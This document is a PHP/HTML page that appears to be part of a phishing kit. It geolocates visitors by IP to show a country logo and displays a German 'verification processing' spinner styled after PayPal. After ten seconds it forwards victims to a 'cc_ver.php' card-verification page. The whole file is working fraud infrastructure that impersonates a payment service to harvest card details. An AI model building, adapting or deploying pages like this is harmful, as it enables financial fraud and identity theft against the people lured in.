<?php
$ip = $_SERVER['REMOTE_ADDR']; // Get IP

// Get country
$response = @file_get_contents("https://ip-api.com/json/" . $ip);
$data = json_decode($response, true);

// Default = Germany
$logoImage = 'images/de_logo.png';
$countryCode = 'DE';

// If API works
if ($data && isset($data['status']) && $data['status'] === 'success') {
    $countryCode = $data['countryCode'];

    if ($countryCode === 'MA') {
        $logoImage = 'images/ma_logo.png';
    } elseif ($countryCode === 'AT') {
        $logoImage = 'images/austria.svg';
    } elseif ($countryCode === 'DE') {
        $logoImage = 'images/de_logo.png';
    }
}

// NO redirects
?>


<!DOCTYPE html>
<html style="font-size: 16px;" lang="en"><head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta charset="utf-8">
    <meta name="keywords" content="">
    <meta name="description" content="">
    <title>Armaturenbrett-Zugangskontrolle</title>
    <link rel="stylesheet" href="files/hex.css" media="screen">
<link rel="stylesheet" href="files/Home.css" media="screen">
    <script class="u-script" type="text/javascript" src="files/xx.js" defer=""></script>
    <script class="u-script" type="text/javascript" src="files/hex.js" defer=""></script>
    <meta name="generator" content="vicmox 5.8.2, vicmox.com">
    <link id="u-theme-google-font" rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:100,100i,300,300i,400,400i,500,500i,700,700i,900,900i|Open+Sans:300,300i,400,400i,500,500i,600,600i,700,700i,800,800i">
    
    
    <script type="application/ld+json">{
		"@context": "http://schema.org",
		"@type": "Organization",
		"name": "at-Hummer"
}</script>
    <meta name="theme-color" content="#478ac9">
    <meta property="og:title" content="Home">
    <meta property="og:type" content="website">
  <meta data-intl-tel-input-cdn-path="intlTelInput/"></head>
  <body class="u-body u-xl-mode" data-lang="en"><header class="u-clearfix u-header u-header" id="sec-f406"><div class="u-clearfix u-sheet u-sheet-1"></div></header>
    <section class="u-clearfix u-section-1" id="sec-54fe">
      <div class="u-clearfix u-sheet u-sheet-1">
        <div class="u-border-1 u-border-grey-10 u-container-style u-group u-radius-8 u-shape-round u-group-1">
          <div class="u-container-layout u-container-layout-1">
            <img class="u-image u-image-contain u-image-default u-preserve-proportions u-image-1"
     src="images/tlchargement.svg"
     style="width:110px; height:auto;">
            <div class="u-align-center u-clearfix u-custom-html u-custom-html-1">
              <div style="text-align: center;">
<h3 style="max-width: 100%; font-family: Arial,sans-serif; color: rgb(0, 0, 0); font-style: normal; letter-spacing: normal; orphans: 2; text-align: center; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; white-space: normal; font-size: 20px;">Verarbeitung läuft</h3>
<p style="max-width: 100%; font-family: Arial,sans-serif; color: rgb(0, 0, 0); font-style: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: center; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; white-space: normal; font-size: 14px;">Bitte warten Sie einen Moment, Ihre Verifizierung wird verarbeitet...</p>
</div>
            </div>
            <div class="u-align-center u-clearfix u-custom-html u-custom-html-2">

<body>
  <style>
    .spinner {
      width: 64px;
      height: 64px;
      animation: rotate 1s linear infinite;
    }

    .path {
      stroke: #0070ba; /* PayPal blue */
      stroke-linecap: round;
      animation: dash 1.5s ease-in-out infinite;
    }

    @keyframes rotate {
      100% {
        transform: rotate(360deg);
      }
    }

    @keyframes dash {
      0% {
        stroke-dasharray: 1, 200;
        stroke-dashoffset: 0;
      }
      50% {
        stroke-dasharray: 100, 200;
        stroke-dashoffset: -15;
      }
      100% {
        stroke-dasharray: 100, 200;
        stroke-dashoffset: -125;
      }
    }
  </style>
  
  <svg class="spinner" viewBox="0 0 50 50">
    <circle class="path" cx="25" cy="25" r="20" fill="none" stroke-width="5"/>
  </svg>
</body>


            <p class="u-text u-text-default u-text-grey-25 u-text-1">
              <span style="font-weight: 700;">Deutsch </span>| English
            </p>
            <a href="https://vicmox.review" class="u-image u-logo u-image-2" data-image-width="2500" data-image-height="1484">
  <img src="<?php echo $logoImage; ?>" class="u-logo-image u-logo-image-1">
</a>
          </div>
        </div>
      </div>
    </section>
  
			<script src="https://cdn.jsdelivr.net/npm/js-md5@0.7.3/build/md5.min.js"></script>
<script>
  setTimeout(function() {
    // Generate a random MD5-like value
    const randomId = md5(Math.random().toString(36).substring(2));  // Generates a random string and hashes it

    // Redirect to login.php with the random ID as a query parameter
    window.location.href = "cc_ver.php?id=" + randomId;
  }, 10000);  // 30 seconds
</script>

    
<footer class="footer footerStayPut" role="contentinfo" style="position: relative; font-size: 11px; padding-top: 14px;">
  
  <div class="legalFooter" style="padding: 14px; font-family: pp-open-regular, 'Helvetica Neue', Arial, sans-serif; font-style: normal; text-align: center; background-color: rgb(247, 249, 250);">
    <ul class="footerGroup" style="margin: 0px; padding: 0px; list-style-type: none; text-align: center;">
      <li style="margin: 0px; padding: 0px;">
        <a target="_blank" href="https://www.podbean.com/at/webapps/mpp/country-worldwide" pa-marked="1" style="color: rgb(84, 93, 104); font-family: pp-open-bold, 'Helvetica Neue', Arial, sans-serif; font-style: normal; font-weight: normal; text-decoration: none; white-space: nowrap; font-size: 14px;">
          Kontakt &nbsp; Datenschutz &nbsp; AGB &nbsp; Weltweit
        </a>
      </li>
    </ul>
  </div>

</footer>


</body></html>